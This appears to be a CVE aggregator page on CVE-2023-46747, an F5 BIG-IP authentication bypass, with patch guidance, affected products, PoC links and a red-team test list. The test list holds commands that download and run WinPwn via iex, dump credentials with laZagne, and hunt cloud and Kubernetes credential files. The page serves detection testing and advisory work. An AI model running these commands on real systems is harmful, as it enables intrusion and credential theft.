CVE-2023-46747
Overview
This vulnerability is an authentication bypass in the F5 BIG-IP Configuration utility (TMUI) caused by improper request handling that allows unauthorized requests to circumvent authentication controls. The root cause lies in the TMUI's failure to validate certain crafted HTTP requests, specifically involving AJP request smuggling techniques, affecting the management interface and self IP address access points. The flaw resides in the access policy manager component, enabling attackers to interact with privileged management endpoints without valid credentials.
Vulnerability Description
Undisclosed requests may bypass configuration utility authentication, allowing an attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated
Impact
An unauthenticated attacker with network access to the management port or self IP addresses can bypass authentication and execute arbitrary system commands on the BIG-IP device. This enables full system compromise, including control over critical network infrastructure components. No prior credentials or user interaction are required, allowing attackers to escalate privileges, disrupt services, or exfiltrate sensitive configuration data, severely impacting organizational security posture.
Solution
F5 Networks has released security updates addressing this vulnerability; administrators should apply patches as detailed in the vendor advisory K000137353 available at https://my.f5.com/manage/s/article/K000137353. The advisory provides fixed versions of BIG-IP Access Policy Manager and instructions for verification. Organizations should prioritize upgrading to supported, patched versions and follow vendor guidance to mitigate exploitation risks.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (100)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
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|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
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|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
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F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
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|
F5 | Big-Ip Carrier-Grade Nat | All |
cpe:2.3:a:f5:big-ip_carrier-grade_nat:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
F5 BIG-IP TMUI AJP Smuggling RCE
exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747
|
Michael Weber, Thomas Hendrickson, Sandeep Singh +1 | Unknown | unix, linux | View |
GitHub PoCs (9)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
W01fh4cker/CVE-2023-46747-RCE
exploit for f5-big-ip RCE cve-2023-46747
|
W01fh4cker | 205 | 45 | 2023-11-01 | View |
|
nvansluis/test_cve-2023-46747
|
nvansluis | 7 | 1 | 2023-11-02 | View |
|
Razzlemouse/F5-BIG-IP-SmuggleShell-CVE-2023-46747-Exploit
#F5-BIG-IP-CVE-2023-46747-Exploit – Unauthenticated RCE Python exploit & Nuclei template by Raguraman ✓ Automated TC...
|
Razzlemouse | 4 | 1 | 2025-12-03 | View |
|
maniak-academy/Mitigate-CVE-2023-46747
|
maniak-academy | 2 | 3 | 2023-11-01 | View |
|
RevoltSecurities/CVE-2023-46747
An Exploitation script developed to exploit the CVE-2023-46747 which Pre Auth Remote Code Execution of f5-BIG Ip producs
|
RevoltSecurities | 3 | 0 | 2023-11-03 | View |
|
vidura2/cve-2023-46747
|
vidura2 | 2 | 0 | 2024-02-11 | View |
|
fu2x2000/CVE-2023-46747
CVE-2023-46747 Criticle Auth Bypass
|
fu2x2000 | 0 | 1 | 2023-11-01 | View |
|
cediegreyhat/BigFinger
CVE-2023-46747-RCE PoC
|
cediegreyhat | 0 | 0 | 2025-07-04 | View |
|
rainbowhatrkn/CVE-2023-46747-RCE
exploit for f5-big-ip RCE cve-2023-46747
|
rainbowhatrkn | 0 | 0 | 2024-03-15 | View |
Ransomware Groups 1
Threat Feed
30 eventsRansomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
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Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-46747 |
| my.f5.com |
GitHub CVE
vendor-advisory
|
https://my.f5.com/manage/s/article/K000137353 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/175673/F5-BIG-IP-TMUI-AJP-Smuggling-Remote-Command-Execution.html |
| secpod.com |
GitHub CVE
|
https://www.secpod.com/blog/f5-issues-warning-big-ip-vulnerability-used-in-active-exploit-chain/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-46747 |